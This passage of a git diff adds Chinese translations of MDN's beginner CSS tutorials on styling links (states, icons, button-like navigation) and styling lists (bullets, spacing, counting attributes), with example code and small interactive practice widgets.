文字的颜色</li> + <li>{{cssxref("cursor")}} 鼠标光标的样式,你不应该把这个关掉,除非你有非常好的理由。</li> + <li>{{cssxref("outline")}} 文字的轮廓 (轮廓有点像边框,唯一的区别是边框占用了盒模型的空间,而轮廓没有; 它只是设置在背景图片的顶部)。outline 是一个有用的辅助功能,所以在把它关掉之前考虑清楚;你至少应该将悬停 (hover) 状态的样式同时应用到选中 (focus) 状态上。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 你不仅仅只限于上述属性来把样式应用到你的链接上,你可以用任何你喜欢的属性,就是不要搞得太疯狂!</p> +</div> + +<h3 id="将样式应用到一些链接">将样式应用到一些链接</h3> + +<p>现在我们已经详细地看了默认的状态,让我们看一下典型的链接样式的设置。</p> + +<p>开始之前,我们先写出我们的空规则集:</p> + +<pre class="brush: css">a { + +} + + +a:link { + +} + +a:visited { + +} + +a:focus { + +} + +a:hover { + +} + +a:active { + +}</pre> + +<p>这几个规则的顺序是有意义的,因为链接的样式是建立在另一个样式之上的,比如,第一个规则的样式也会在后面的规则中生效,一个链接被激活 (activated) 的时候,它也是处于悬停 (hover) 状态的。如果你搞错了顺序,那么就可能不会产生正确的效果。要记住这个顺序,你可以尝试这样帮助记忆:<strong>L</strong>o<strong>V</strong>e <strong>F</strong>ears <strong>HA</strong>te.</p> + +<p>现在让我们再添加一些信息,得到正确的样式:</p> + +<pre class="brush: css">body { + width: 300px; + margin: 0 auto; + font-size: 1.2rem; + font-family: sans-serif; +} + +p { + line-height: 1.4; +} + +a { + outline: none; + text-decoration: none; + padding: 2px 1px 0; +} + +a:link { + color: #265301; +} + +a:visited { + color: #437A16; +} + +a:focus { + border-bottom: 1px solid; + background: #BAE498; +} + +a:hover { + border-bottom: 1px solid; + background: #CDFEAA; +} + +a:active { + background: #265301; + color: #CDFEAA; +}</pre> + +<p>这里还提供了一些示例HTML,供你应用CSS:</p> + +<pre class="brush: html"><p>There are several browsers available, such as <a href="https://www.mozilla.org/zh-CN/firefox/">Mozilla +Firefox</a>, <a href="https://www.google.com/chrome/index.html">Google Chrome</a>, and +<a href="https://www.microsoft.com/zh-CN/windows/microsoft-edge">Microsoft Edge</a>.</p></pre> + +<p>把这两个放在一起,我们得到这样的结果:</p> + +<p>{{ EmbedLiveSample('将样式应用到一些链接', '100%', 150) }}</p> + +<p>那么我们在这里做了什么? 这个看起来肯定和默认的样式不同,但仍然提供了一个熟悉的体验,好让用户知道发生了什么:</p> + +<ul> + <li>第一和第二条规则和本次讨论关系不大。</li> + <li>第三个规则使用了 <code>a</code> 选择器,取消了默认的文本下划线和链接被选中(focus)时的轮廓 (outline)(不同浏览器的默认行为可能不同),并为每个链接添加了少量的内边距(padding),所有这一切将在之后变得明确。</li> + <li>接着,我们使用<code>a:link</code>和<code>a:visited</code>选择器来设置未访问(unvisited)链接和访问过(visited)的链接的一点颜色上的变化,然后就能分辨开来了。</li> + <li>下面两条规则使用 <code>a:focus</code> 和 <code>a:hover</code> 来设置选中(focus)和悬停(hover)的链接为不同的背景颜色,再加上一个下划线,使链接更加突出。这里有两点需要注意: + <ul> + <li>下划线是使用 {{cssxref("border-bottom")}} 创造的, 而不是 {{cssxref("text-decoration")}},有一些人喜欢这样,因为前者比后者有更好的样式选项, 并且绘制的位置会稍微低一点,所以不会穿过字母 (比如 字母 g 和 y 底部).</li> + <li>{{cssxref("border-bottom")}}的值被设置为<code>1px solid</code>,没有指定颜色。这样做可以使边框采用和元素文本一样的颜色,这在这样的情况下是很有用的,因为链接的每种状态下,文本是不同的颜色。</li> + </ul> + </li> + <li>最后, <code>a:active</code> 用来给链接一个不同的配色方案,当链接被激活 (activated) 时,让链接被激活的时候更加明显。</li> +</ul> + +<h3 id="动手练习_为你的链接添加样式">动手练习: 为你的链接添加样式</h3> + +<p>在这个动手练习部分,我们希望你使用我们的空规则集,然后添加你自定义的规则,从而使链接看上去比较酷。发挥你的想象力,大胆地做吧。我们相信你可以想出一些更酷的东西,就像我们上面的例子一样。</p> + +<p>如果你犯了错误,你都可以使用 <em>Reset 按钮来重置。 </em>如果你遇到了困难,可以按 <em>Show solution</em> 按钮来显示我们上文中的例子。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>HTML Input</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><p>There are several browsers available, such as <a href="https://www.mozilla.org/zh-CN/firefox/">Mozilla + Firefox</a>, <a href="https://www.google.com/chrome/index.html">Google Chrome</a>, and +<a href="https://www.microsoft.com/zh-CN/windows/microsoft-edge">Microsoft Edge</a>.</p></textarea> + + <h2>CSS Input</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">a { + +} + +a:link { + +} + +a:visited { + +} + +a:focus { + +} + +a:hover { + +} + +a:active { + +}</textarea> + + <h2>Output</h2> + <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div> + <div class="controls"> + <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> + <input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;"> + </div> +</div> +</pre> + +<pre class="brush: js">var htmlInput = document.querySelector(".html-input"); +var cssInput = document.querySelector(".css-input"); +var reset = document.getElementById("reset"); +var htmlCode = htmlInput.value; +var cssCode = cssInput.value; +var output = document.querySelector(".output"); +var solution = document.getElementById("solution"); + +var styleElem = document.createElement('style'); +var headElem = document.querySelector('head'); +headElem.appendChild(styleElem); + +function drawOutput() { + output.innerHTML = htmlInput.value; + styleElem.textContent = cssInput.value; +} + +reset.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = cssCode; + drawOutput(); +}); + +solution.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = 'p {\n font-size: 1.2rem;\n font-family: sans-serif;\n line-height: 1.4;\n}\n\na {\n outline: none;\n text-decoration: none;\n padding: 2px 1px 0;\n}\n\na:link {\n color: #265301;\n}\n\na:visited {\n color: #437A16;\n}\n\na:focus {\n border-bottom: 1px solid;\n background: #BAE498;\n}\n\na:hover {\n border-bottom: 1px solid;\n background: #CDFEAA;\n}\n\na:active {\n background: #265301;\n color: #CDFEAA;\n}'; + drawOutput(); +}); + +htmlInput.addEventListener("input", drawOutput); +cssInput.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> + +<h2 id="在链接中包含图标">在链接中包含图标</h2> + +<p>常见的做法是在链接中包含图标,使链接提供更多关于链接指向的内容的信息。让我们来看一个简单的例子,例子中为一个外部链接 (链接指向的不是本站,而是外部站点)。这样的图标通常看起来像一个指向盒子的小箭头,比如, 我们会使用<a href="https://icons8.com/web-app/741/external-link">icons8.com上的这个优秀的范例</a>。</p> + +<p>让我们来看一些能给我们这个效果的 HTML 和 CSS。先是一些简单的等待你样式化的 HTML :</p> + +<pre class="brush: html"><p>For more information on the weather, visit our <a href="weather.html">weather page</a>, +look at <a href="https://en.wikipedia.org/wiki/Weather">weather on Wikipedia</a>, or check +out <a href="http://www.extremescience.com/weather.htm">weather on Extreme Science</a>.</p></pre> + +<p>接着是 CSS:</p> + +<pre class="brush: css">body { + width: 300px; + margin: 0 auto; + font-family: sans-serif; +} + +p { + line-height: 1.4; +} + +a { + outline: none; + text-decoration: none; + padding: 2px 1px 0; +} + +a:link { + color: blue; +} + +a:visited { + color: purple; +} + +a:focus, a:hover { + border-bottom: 1px solid; +} + +a:active { + color: red; +} + +a[href*="http"] { + background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0; + background-size: 16px 16px; + padding-right: 19px; +}</pre> + +<p>{{ EmbedLiveSample('在链接中包含图标', '100%', 150) }}</p> + +<p>那么这里发生了什么? 我们将跳过大部分的 CSS,因为那些只是你之前看过的相同的信息。最后一条规则很有趣,这里,我们在外部链接上插入了一个自定义背景图片,这和上篇<a href="/zh-CN/Learn/CSS/Styling_text/Styling_lists#Using_a_custom_bullet_image">自定义列表项目符号</a>文章的做法很像。这次,我们使用了 {{cssxref("background")}} 简写,而不是分别使用多个属性。我们设置了我们想要插入的图片的路径,指定了 <code>no-repeat</code> ,这样我们只插入了一次图片,然后指定位置为100%,使其出现在内容的右边,距离上方是0px。</p> + +<p>我们也使用 {{cssxref("background-size")}} 来指定要显示的背景图像的大小,为了满足响应式网站设计的需要,在图标更大,需要再重新调整它的大小的时候,这样做是很有帮助的。但是,这仅适用于IE 9及更高版本。所以你如果需要支持那些老的浏览器,只能调整图像的原始大小,然后插入。</p> + +<p>最后,我们在链接上设置 {{cssxref("padding-right")}} ,为背景图片留出空间,这样就不会让它和文本重叠了。</p> + +<p>最后的问题,我们是如何只选中了外部链接的?如果你正确编写你的<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">HTML链接</a> ,你应该只会在外部链接上使用绝对 URL,如果链接是链接你的站点的其他部分,那么使用相对链接是更加高效的。因此“http”文本应该只出现在外部链接上,为此我们可以使用一个<a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">属性选择器</a>——<code>a[href*="http"]</code> ——选中 {{htmlelement("a")}} 元素,但是这样只会选中那些拥有 {{htmlattrxref("href","a")}} 属性,且属性的值包含 "http" 的 {{htmlelement("a")}}的元素。</p> + +<p>就这样啦,尝试重新审视上面的动手练习部分,尝试这种新技术!</p> + +<div class="note"> +<p><strong>注意</strong>: 不要担心,如果你目前不熟悉 <a href="/zh-CN/docs/Learn/CSS/Styling_boxes">backgrounds</a> 和 <a href="/zh-CN/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">responsive web design</a> ; 这些会在其他地方解释。</p> +</div> + +<h2 id="样式化链接为按钮">样式化链接为按钮</h2> + +<p>目前在本文中探索的用法也可以用在其他方面。比如,悬停 (hover) 的状态可以为不同的元素应用样式,不只是链接,你也许会想添加悬停状态的样式到段落、列表项、或者是其他东西。</p> + +<p>此外,在某些情况下,链接通常会应用样式,使它看上去的效果和按钮差不多,一个网站导航菜单通常是标记为一个列表,列表中包含链接,这可以很容易地被设计为看起来像一组控制按钮或是选项卡,主要是用于让用户可以访问站点的其他部分,现在让我们来看一看。</p> + +<p>首先,一些 HTML:</p> + +<pre class="brush: html"><ul> + <li><a href="#">Home</a></li><li><a href="#">Pizza</a></li><li><a href="#">Music</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland</a></li> +</ul></pre> + +<p>接着,是我们的 CSS:</p> + +<pre class="brush: css">body,html { + margin: 0; + font-family: sans-serif; +} + +ul { + padding: 0; + width: 100%; +} + +li { + display: inline; +} + +a { + outline: none; + text-decoration: none; + display: inline-block; + width: 19.5%; + margin-right: 0.625%; + text-align: center; + line-height: 3; + color: black; +} + +li:last-child a { + margin-right: 0; +} + +a:link, a:visited, a:focus { + background: yellow; +} + +a:hover { + background: orange; +} + +a:active { + background: red; + color: white; +}</pre> + +<p>这给我们以下结果:</p> + +<p>{{ EmbedLiveSample('样式化链接为按钮', '100%', 100) }}</p> + +<p>让我们来解释一下这里发生了什么,主要是几个有趣的部分:</p> + +<ul> + <li>我们的第二条规则删除了 {{htmlelement("ul")}} 元素的默认的 {{cssxref("padding")}},然后设置了它的宽度是外部容器 {{htmlelement("body")}} (在这次条件下) 的 100% 。</li> + <li>{{htmlelement("li")}} 元素通常默认是块元素 (可见 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">types of CSS boxes</a> 回顾),意味着它们各自会占用一行。在这个例子中,我们创建了一组水平列表的链接,所以在第三条规则中,我们设置了 {{cssxref("display")}} 属性为 inline,这会导致列表中的每项内容都会一起出现在同一行,它们现在表现得就像内联元素。</li> + <li>第四条规则,主要是 {{htmlelement("a")}} 元素的样式,这里比较复杂; 让我们一步一步来看: + <ul> + <li>和前面的例子一样,我们首先关掉了 {{cssxref("text-decoration")}} 和 {{cssxref("outline")}},我们不希望这些破坏我们链接的样子。</li> + <li>接着,我们设置 {{cssxref("display")}} 为 <code>inline-block</code> ,{{htmlelement("a")}} 元素默认为内联元素,而且我们不希望它们像值为 <code>block</code> 时一样,线条超出自己的内容,我们确实想要控制它们的大小<code>inline-block</code> 允许我们这样做。</li> + <li>接着是尺寸的设置! 我们要填满整个 {{htmlelement("ul")}} 的宽度,为按钮之间留一些间距 (margin) (但不是右边边缘的间距),我们有 5 个按钮需要容纳,所以它们的大小应该一样。为了做到这一点,我们设置 {{cssxref("width")}} 为 19.5%,然后 {{cssxref("margin-right")}} 为 0.625%. 你会注意到所有宽度加起来是 100.625%, 这样会让最后一个按钮溢出 <code><ul></code> ,然后显示到下一行中。但是,我们使用了下一条规则让它恢复到了 100%,这条规则选中了列表中的最后一个 <code><a></code>元素,然后删除了它的间距 (margin)。完成!</li> + <li>最后三条声明就比较简单了,主要是为链接各个状态添加了颜色。我们居中了每个链接中的文本,设置 {{cssxref("line-height")}} 为 3, 让按钮有一些高度 (这也具有垂直居中文本的优点),并设置文本的颜色为黑色。</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 你也许会注意到 HTML 中的列表的每项内容都在同一行上,这是因为 inline-block 元素在页面上创建的空格换行符,就像几个字之间的空格,这样的空隙也许会破坏我们的水平导航菜单布局。所以我们删除了空格。你可以在 <a href="https://css-tricks.com/fighting-the-space-between-inline-block-elements/">Fighting the space between inline block elements</a> 找到有关此问题的更多信息(和解决方案)。</p> +</div> + +<h2 id="测试你的技巧!">测试你的技巧!</h2> + +<p>你已经到了本文结尾,并且在我们的交互学习部分已经做了一些技巧测试。但是你在继续之前记住了最重要的信息了吗?你可以在模块末尾找到一个用于验证你已掌握知识的评估——见<a href="/zh-CN/docs/Learn/CSS/%E4%B8%BA%E6%96%87%E6%9C%AC%E6%B7%BB%E5%8A%A0%E6%A0%B7%E5%BC%8F/Typesetting_a_homepage">给一个社区大学的主页排版</a>。</p> + +<p>这个评估测试了这个模块讨论到的所有知识,这样你可能在读下一篇文章之前想看一下它。</p> + +<h2 id="小结">小结</h2> + +<p>我们希望本文为你提供有关链接的所有知识——目前!我们的样式文本模块中的最后一篇文章详细介绍了如何在你的网站上使用自定义字体,或者更熟悉网络字体。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> diff --git a/files/zh-cn/learn/css/为文本添加样式/styling_lists/index.html b/files/zh-cn/learn/css/为文本添加样式/styling_lists/index.html new file mode 100644 index 0000000000..075b457836 --- /dev/null +++ b/files/zh-cn/learn/css/为文本添加样式/styling_lists/index.html @@ -0,0 +1,374 @@ +--- +title: 样式列表 +slug: Learn/CSS/为文本添加样式/Styling_lists +translation_of: Learn/CSS/Styling_text/Styling_lists +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</div> + +<p class="summary"><a href="/zh-CN/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">List列表</a> 大体上和其他文本一样,但是仍有一些你需要知道的特殊CSS属性,和一些可供参考的最佳实践,这篇文章将阐述这一切。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前置知识:</th> + <td>Basic computer literacy, HTML basics (study <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), CSS basics (study <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>), <a href="/zh-CN/docs/Learn/CSS/Styling_text/Fundamentals">基本文本和字体样式</a>.</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>熟悉与列表相关的样式和最佳实践</td> + </tr> + </tbody> +</table> + +<h2 id="一个简单的例子">一个简单的例子</h2> + +<p>首先,让我们看一个简单的例子。文章中我们将看到无序,有序和描述列表——它们都具有相似的样式特性,而某些特性却又各不相同。<a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/unstyled-list.html">Github</a>上有未加载样式的例子(也可以查看<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/unstyled-list.html">源码</a>。)</p> + +<p>例子中列表的HTML代码如下:</p> + +<pre class="brush: html"><h2>Shopping (unordered) list</h2> + +<p>Paragraph for reference, paragraph for reference, paragraph for reference, +paragraph for reference, paragraph for reference, paragraph for reference.</p> + +<ul> + <li>Humous</li> + <li>Pitta</li> + <li>Green salad</li> + <li>Halloumi</li> +</ul> + +<h2>Recipe (ordered) list</h2> + +<p>Paragraph for reference, paragraph for reference, paragraph for reference, +paragraph for reference, paragraph for reference, paragraph for reference.</p> + +<ol> + <li>Toast pitta, leave to cool, then slice down the edge.</li> + <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> + <li>Wash and chop the salad.</li> + <li>Fill pitta with salad, humous, and fried halloumi.</li> +</ol> + +<h2>Ingredient description list</h2> + +<p>Paragraph for reference, paragraph for reference, paragraph for reference, +paragraph for reference, paragraph for reference, paragraph for reference.</p> + +<dl> + <dt>Humous</dt> + <dd>A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> + <dt>Pitta</dt> + <dd>A soft, slightly leavened flatbread.</dd> + <dt>Halloumi</dt> + <dd>A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd> + <dt>Green salad</dt> + <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd> +</dl></pre> + +<p>现在,如果你去到例子的展示页面,并使用<a href="/zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools">浏览器开发者工具</a>查看那些列表元素,你会注意到若干个默认的样式预设值:</p> + +<ul> + <li> {{htmlelement("ul")}} 和 {{htmlelement("ol")}} 元素设置{{cssxref("margin")}}的顶部和底部: 16px(1em) 0;和 padding-left: 40px(2.5em); (在这里注意的是浏览器默认字体大小为16px)。</li> + <li>{{htmlelement("li")}} 默认是没有设置间距的。</li> + <li>{{htmlelement("dl")}} 元素设置 margin的顶部和底部: 16px(1em) ,无内边距设定。</li> + <li>{{htmlelement("dd")}} 元素设置为: {{cssxref("margin-left")}} <code>40px</code> (<code>2.5em</code>)。</li> + <li>在参考中提到的 {{htmlelement("p")}} 元素设置 margin的顶部和底部: 16px(1em),和其他的列表类型相同。</li> +</ul> + +<h2 id="处理列表间距">处理列表间距</h2> + +<p>当您创建样式列表时,您需要调整样式,使其保持与周围元素相同的垂直间距(例如段落和图片,有时称为垂直节奏))和相互间的水平间距(您可以在 Github 上参考<a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/">完成的样式示例</a> ,也可以找到<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/index.html">源代码</a>。)</p> + +<p>用于文本样式和间距的CSS如下所示:</p> + +<pre class="brush: css">/* General styles */ + +html { + font-family: Helvetica, Arial, sans-serif; + font-size: 10px; +} + +h2 { + font-size: 2rem; +} + +ul,ol,dl,p { + font-size: 1.5rem; +} + +li, p { + line-height: 1.5; +} + +/* Description list styles */ + + +dd, dt { + line-height: 1.5; +} + +dt { + font-weight: bold; +} + +dd { + margin-bottom: 1.5rem; +} +</pre> + +<ul> + <li>第一条规则集设置一个网站字体,基准字体大小为10px。 页面上的所有内容都将继承该规则集。</li> + <li>规则集2和3为标题、不同的列表类型和段落以及设置了相对字体大小(这些列表的子元素将会继承该规则集),这就意味着每个段落和列表都将拥有相同的字体大小和上下间距,有助于保持垂直间距一致。</li> + <li>规则集4在段落和列表项目上设置相同的 {{cssxref("line-height")}} ,因此段落和每个单独的列表项目将在行之间具有相同的间距。 这也将有助于保持垂直间距一致。</li> + <li>规则集5-7适用于描述列表 - 我们在描述列表的术语和其描述上设置与段落和列表项相同的行高,以及 {{cssxref("margin-bottom")}} 为1.5 rem(与段落(p)和列表项目(li))相同。 再次强调一遍,这里很好地实现了一致性! 我们还使描述术语具有粗体字体,因此它们在视觉上脱颖而出。<span id="cke_bm_126E" style="display: none;"> </span></li> +</ul> + +<h2 id="列表特定样式">列表特定样式</h2> + +<p>现在我们来看一下列表的一般间距,我们来研究一些列表具有的特定属性。 我们从三个属性开始了解,这三个属性可以在 {{htmlelement("ul")}} 或 {{htmlelement("ol")}} 元素上设置:</p> + +<ul> + <li>{{cssxref("list-style-type")}} :设置用于列表的项目符号的类型,例如无序列表的方形或圆形项目符号,或有序列表的数字,字母或罗马数字。</li> + <li>{{cssxref("list-style-position")}} :设置在每个项目开始之前,项目符号是出现在列表项内,还是出现在其外。</li> + <li>{{cssxref("list-style-image")}} :允许您为项目符号使用自定义图片,而不是简单的方形或圆形。</li> +</ul> + +<h3 id="符号样式">符号样式</h3> + +<p>像上面所提及的, {{cssxref("list-style-type")}} 属性允许你设置项目符号点的类型,在我们的例子中,我们在有序列表上设置了大写罗马数字:</p> + +<pre class="brush: css">ol { + list-style-type: upper-roman; +}</pre> + +<p>效果显示如下:</p> + +<p><img alt="an ordered list with the bullet points set to appear outside the list item text." src="https://mdn.mozillademos.org/files/12962/outer-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 119px; margin: 0px auto; width: 376px;"></p> + +<p>您可以通过 {{cssxref("list-style-type")}} 参考页面查找到更多选项。</p> + +<h3 id="项目符号位置">项目符号位置</h3> + +<p>{{cssxref("list-style-position")}} 设置在每个项目开始之前,项目符号是出现在列表项内,还是出现在其外。 如上所示,默认值为 outside,这使项目符号位于列表项之外。</p> + +<p>如果值设置为 inside,项目条目则位于行内。</p> + +<pre class="brush: css">ol { + list-style-type: upper-roman; + list-style-position: inside; +}</pre> + +<p><img alt="an ordered list with the bullet points set to appear inside the list item text." src="https://mdn.mozillademos.org/files/12958/inner-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 123px; margin: 0px auto; width: 370px;"></p> + +<h3 id="使用自定义的项目符号图片">使用自定义的项目符号图片</h3> + +<p>{{cssxref("list-style-image")}} 属性允许对于项目符号使用自定义图片。其语法相当简单:</p> + +<pre class="brush: css">ul { + list-style-image: url(star.svg); +}</pre> + +<p>然而,这个属性在控制项目符号的位置,大小等方面是有限的。 您最好使用{{cssxref("background")}} 系列属性,您将在 <a href="/zh-CN/docs/Learn/CSS/Styling_boxes">Styling boxes</a> 模块中了解更多信息。在这里我们仅做一点尝试!</p> + +<p>结束我们的例子,我们样式化无序列表像这样(放到您之前所见的顶部):</p> + +<pre class="brush: css">ul { + padding-left: 2rem; + list-style-type: none; +} + +ul li { + padding-left: 2rem; + background-image: url(star.svg); + background-position: 0 0; + background-size: 1.6rem 1.6rem; + background-repeat: no-repeat; +}</pre> + +<p>我们的所做如下:</p> + +<ul> + <li>将 {{htmlelement("ul")}} 的 {{cssxref("padding-left")}} 从默认的 <code>40px</code>设置为 <code>20px</code>,然后在列表项上设置相同的数值。 这就是说,整个列表项仍然排列在列表中,但是列表项产生了一些用于背景图像的填充。 如果我们没有设置填充,背景图像将与列表项文本重叠,这看起来会很乱。</li> + <li>将 {{cssxref("list-style-type")}} 设置为none,以便默认情况下不会显示项目符号。 我们将使用 {{cssxref("background")}} 属性来代替项目符号。</li> + <li>为每个无序列表项插入项目符号,其相应的属性如下: + <ul> + <li>{{cssxref("background-image")}}: 充当项目符号的图片文件的参考路径</li> + <li>{{cssxref("background-position")}}: 这定义了所选元素背景中的图像将出现在哪里 - 在我们的示例中设置 <code>0 0</code>,这意味着项目符号将出现在每个列表项的最左上侧。</li> + <li>{{cssxref("background-size")}}: 设置背景图片的大小。 理想条件下,我们想要项目符号与列表项的大小相同(比列表项稍大或稍小亦可)。 我们使用的尺寸为1.6rem(16px),它非常吻合我们为项目符号设置的 20px 的填充, 16px 加上 4px 的空格间距,可以使项目符号和列表项文本效果更好。</li> + <li>{{cssxref("background-repeat")}}:默认条件下,背景图片不断复制直到填满整个背景空间,在我们的例子中,背景图片只需复制一次,所以我们设置值为 <code>no-repeat</code>。</li> + </ul> + </li> +</ul> + +<p>效果显示如下:</p> + +<p><img alt="an unordered list with the bullet points set as little star images" src="https://mdn.mozillademos.org/files/12956/image-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 106px; margin: 0px auto; width: 124px;"></p> + +<h3 id="list-style_速记">list-style 速记</h3> + +<p>上述提到的三种属性可以用一个单独的速记属性 {{cssxref("list-style")}} 来设置。例如:</p> + +<pre class="brush: css">ul { + list-style-type: square; + list-style-image: url(example.png); + list-style-position: inside; +}</pre> + +<p>可以被如下方式代替:</p> + +<pre>ul { + list-style: square url(example.png) inside; +}</pre> + +<p>属性值可以任意顺序排列,你可以设置一个,两个或者三个值(该属性的默认值为 disc, none, outside),如果指定了 type 和 image,如果由于某种原因导致图像无法加载,则 type 将用作回退。</p> + +<h2 id="管理列表计数">管理列表计数</h2> + +<p>有时,您可能想在有序列表上进行不同的计数方式。例如: 从1以外的数字开始,或向后倒数,或者按步或多于1计数。HTML和CSS有一些工具可以帮助您</p> + +<h3 id="start">start</h3> + +<p>{{htmlattrxref("start","ol")}} 属性允许你从1 以外的数字开始计数。示例如下:</p> + +<pre class="brush: html"><ol start="4"> + <li>Toast pitta, leave to cool, then slice down the edge.</li> + <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> + <li>Wash and chop the salad.</li> + <li>Fill pitta with salad, humous, and fried halloumi.</li> +</ol></pre> + +<p>输出的结果如下:</p> + +<p>{{ EmbedLiveSample('start', '100%', 150) }}</p> + +<h3 id="reversed">reversed</h3> + +<p>{{htmlattrxref("reversed","ol")}} 属性将启动列表倒计数。示例如下:</p> + +<pre class="brush: html"><ol start="4" reversed> + <li>Toast pitta, leave to cool, then slice down the edge.</li> + <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> + <li>Wash and chop the salad.</li> + <li>Fill pitta with salad, humous, and fried halloumi.</li> +</ol></pre> + +<p>输出的结果如下:</p> + +<p>{{ EmbedLiveSample('reversed', '100%', 150) }}</p> + +<h3 id="value">value</h3> + +<p>{{htmlattrxref("value","ol")}} 属性允许设置列表项指定数值,示例如下:</p> + +<pre class="brush: html"><ol> + <li value="2">Toast pitta, leave to cool, then slice down the edge.</li> + <li value="4">Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> + <li value="6">Wash and chop the salad.</li> + <li value="8">Fill pitta with salad, humous, and fried halloumi.</li> +</ol></pre> + +<p>输出的结果如下:</p> + +<p>{{ EmbedLiveSample('value', '100%', 150) }}</p> + +<div class="note"> +<p><strong>注意</strong>: 纵然你使用非数字的 {{cssxref("list-style-type")}}, 你仍需要使用与数值同等意义的值作为 value 的属性。</p> +</div> + +<h2 id="主动学习_为嵌套式列表添加样式">主动学习: 为嵌套式列表添加样式</h2> + +<p>在该学习环节,我们希望你使用如上所学尝试为一个嵌套式列表添加样式。我们已经提供了 HTML , 在此之上请完成如下:</p> + +<ol> + <li>为该无序列表提供方形项目符号。</li> + <li>为该无序列表项和有序列表项提供基于其字体大小 1.5 的行高。</li> + <li>为有序列表提供小写字母的项目符号。</li> + <li>对列表进行自由发挥,尝试不同的项目符号类型,间距,以及其他的各种属性。</li> +</ol> + +<p>如果犯了错误,可以随时点击 Reset(重置) 按钮进行重新设置。如果你真的遇到困难无法继续下去,点击 Show solution(显示解决方案)按钮查看可行的解决方案。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>HTML Input</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><ul> + <li>First, light the candle.</li> + <li>Next, open the box.</li> + <li>Finally, place the three magic items in the box, in this exact order, to complete the spell: + <ol> + <li>The book of spells</li> + <li>The shiny rod</li> + <li>The goblin statue</li> + </ol> + </li> +</ul></textarea> + + <h2>CSS Input</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></textarea> + + <h2>Output</h2> + <div class="output" style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"></div> + <div class="controls"> + <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> + <input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;"> + </div> +</div> +</pre> + +<pre class="brush: js">var htmlInput = document.querySelector(".html-input"); +var cssInput = document.querySelector(".css-input"); +var reset = document.getElementById("reset"); +var htmlCode = htmlInput.value; +var cssCode = cssInput.value; +var output = document.querySelector(".output"); +var solution = document.getElementById("solution"); + +var styleElem = document.createElement('style'); +var headElem = document.querySelector('head'); +headElem.appendChild(styleElem); + +function drawOutput() { + output.innerHTML = htmlInput.value; + styleElem.textContent = cssInput.value; +} + +reset.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = cssCode; + drawOutput(); +}); + +solution.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = 'ul {\n list-style-type: square;\n}\n\nul li, ol li {\n line-height: 1.5;\n}\n\nol {\n list-style-type: lower-alpha\n}'; + drawOutput(); +}); + +htmlInput.addEventListener("input", drawOutput); +cssInput.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<p>CSS计数器提供用于自定义列表计数和样式的高级工具,但它们相当复杂。 如果你想更深入了解,请查看如下资源:</p> + +<ul> + <li>{{cssxref("@counter-style")}}</li> + <li>{{cssxref("counter-increment")}}</li> + 